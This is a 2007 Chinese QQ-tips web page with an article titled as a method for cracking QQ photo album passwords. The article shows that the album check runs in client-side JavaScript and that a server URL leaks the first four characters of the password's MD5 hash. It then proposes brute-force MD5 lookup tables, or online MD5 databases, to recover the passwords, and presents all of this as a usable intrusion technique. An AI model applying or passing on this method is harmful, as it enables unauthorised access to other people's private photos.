• 网站首页
  • 空间模块
  • flash模块
  • 空间代码
  • 空间大图
  • 空间教程
  • 空间装饰
  • 空间素材
  • 个性贴图
  • 非主流图片
  • 空间互踩
  • 空间论坛
  • 个性网名
  • 个性签名
  • .个性资料
  • 情感日记
  • QQ资讯
  • QQ技巧
  • QQ软件
  • QQ表情
  • QQ头像
  • .QQ皮肤
  • QQ游戏
  • 博客主页

...

最新推荐文章

  • QQ空间免费粉色皮肤代码与…
  • 圣诞节祝福话语
  • 破解加QQ要回答问题
  • QQ空间音乐绿钻免费使用方…
  • 点亮QQ书签图标方法
  • 点亮QQlive高级用户图标方…
  • 移动用户使用手机QQ的常见…
  • 移动用户使用手机QQ的常见…
  • QQ好友恢复系统,Q被盗后使…

热门推荐文章

  • QQ空间音乐绿钻免费使用方…
  • 病毒预报:QQ面临病毒“偷…
  • QQ虚拟摄像头 随意和MM视…
  • 给QQ上保险:我的QQ密码谁…
  • 小偷滚开!QQ密码最新巧防…
  • 和漂亮MM视频也能“秀”相…
  • 给QQ上保险:我的QQ谁也偷…
  • [一组生活照片]MM好秀气哦
  • 无敌暴强视频MM截图大合集…

..............

您现在的位置: 酷QQ站 >> QQ技巧教程 >> QQ安全资讯 >> 文章正文

您想找的文章是:

QQ相册密码破解方法

作者:佚名    文章来源:不详    点击数:5262    更新时间:2007-9-5
   
分析QQ相册密码的验证算法

根据http://izone.qq.com/client/photo ... &album=31931732 
下载或者翻看Internet临时文件夹下的 photo_password 文件可查到下列语句: 
type="text/JavaScript" src=http://www.eiyes.com/info/way/"/js/md5.js"></script> 
document.cookie=("album"+albumId+"pwd="+hex_md5(pwd)); 
对比 md5.js文件可知,此v2.1版本的 JavaScript MD5,且输入的密码转化为32位的字符串。 

比较两个地址: 
http://photo.qq.com/cgi-bin/izon ... mp;albumid=31931732 
/*http://izone.qq.com/client/photo ... amp;album=31931732/这个地址类似可以不看*/ 
(此地址为有密码情况下的登陆地址,要求输入密码) 
http://photo.qq.com/cgi-bin/izon ... asswd=&mode=big 
(此地址为无密码情况下的登陆地址) 

由此可以推断出: 
http://photo.qq.com/cgi-bin/izon ... 1931732&passwd=(****************)&mode=big 
******为转化后的md5字符串,此地址应该为此地址为有密码情况下的直接登陆地址。 
随便输入一段字符显示如下: 
<?xml version="1.0" encoding="GBK" ?> 
<error>密码有误,请重新输入!</error> 
考虑到在前面有密码情况下的登陆窗口连接为cgi_album_pwd,浏览相册连接为cgi_album_view。 
试将登陆地址改为下列方式: 
http://photo.qq.com/cgi-bin/izon ... 1931732&passwd=(****************)&mode=big 
随便输入一段字符显示如下: 
<?xml version="1.0" encoding="GBK" ?> 
<data id="31931732" owner="23266229" passwd="81dc" /> 
经过换算可知,1234的MD5值是81dc9bdb52d04dc20036dbd8313ed055 
测试数次 
<?xml version="1.0" encoding="GBK" ?> 
<data id="31931732" owner="23266229" passwd="1bbd" /> 
密码:11111111 MD5:1bbd886460827015e5d605ed44252251 
<?xml version="1.0" encoding="GBK" ?> 
<data id="31931732" owner="23266229" passwd="eccb" /> 
密码:3 MD5:eccbc87e4b5ce2fe28308fd9f2a7baf3 
由此可以判断,此处的passwd为密码加密后的前4位。 
photo_password 文件可查到下列语句: 
var p=""; 
if (x!=null) p=x.selectSingleNode("/data").getAttribute("passwd"); 
判断此passwd应该是数据库中的某字段名。 
if (p!="" && hex_md5(pwd).indexOf(p)!=0){ 
alert("密码错误") 
document.getElementById("pass").focus(); 
return; 
} 
document.cookie=("album"+albumId+"pwd="+hex_md5(pwd)); 
location="/client/photo_static_big.htm?uin="+uin+"&album="+albumId; 
pwd为输入的密码,经过md5加密。判断此处出现的passwd="eccb"应该是验证输入的密文密码的正确性的。如果正确,使用hex_md5(pwd)进行登陆。 

由于QQ相册密码提示为8位,那么如果有心人使用相关工具换算处8位以下的所有数字和字母组合的MD5值做成数据库,那么密码就如同虚设。但是考虑到相册密码意义不大,一般情况下不会有人过于无聊拿机器去跑这东西... 似乎最基本常见的的运算次数为几百万亿次,如果谁又兴趣搞几台服务器跑天把做个数据库倒是蛮好,就是大了点准备个TB级的硬盘矩阵吧。如果怕麻烦可以去国外的几个大型MD5数据库查询。


[1] [2]    

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

【将QQ相册密码破解方法文章发送给你的好友】

  • 上一篇文章: QQ被盗一样能找回聊天好友
  • 下一篇文章: 最新刷QQ服务漏洞
  • QQ相册密码破解方法相关文章:

    教你如何使用QQ通讯录的方法
    QQ2006新增的群功能用法 群聊更惬意更方便
    不要QQ安全中心拦截将要传输的文件方法
    QQ视频教程: 群内消息及贴图不再收到
    QQ视频使用教程: 把被盗号码好友找回来
       关于我们 | 友情链接 | 联系我们 | 免责声明 | 用户留言 | 网站导航 | 支持论坛  
        QQ空间 非主流图片 QQ空间代码 QQ空间模块 -└酷酷QQ空间代码站版权所有
    copyright © 2007-2008 www.kukuQQ.com all rights reserved. kukuQQ
    推荐使用最佳分辨率浏览 1024x768 to Firefox, MS-IE6 IE7. Site powered by Powerkukuqq.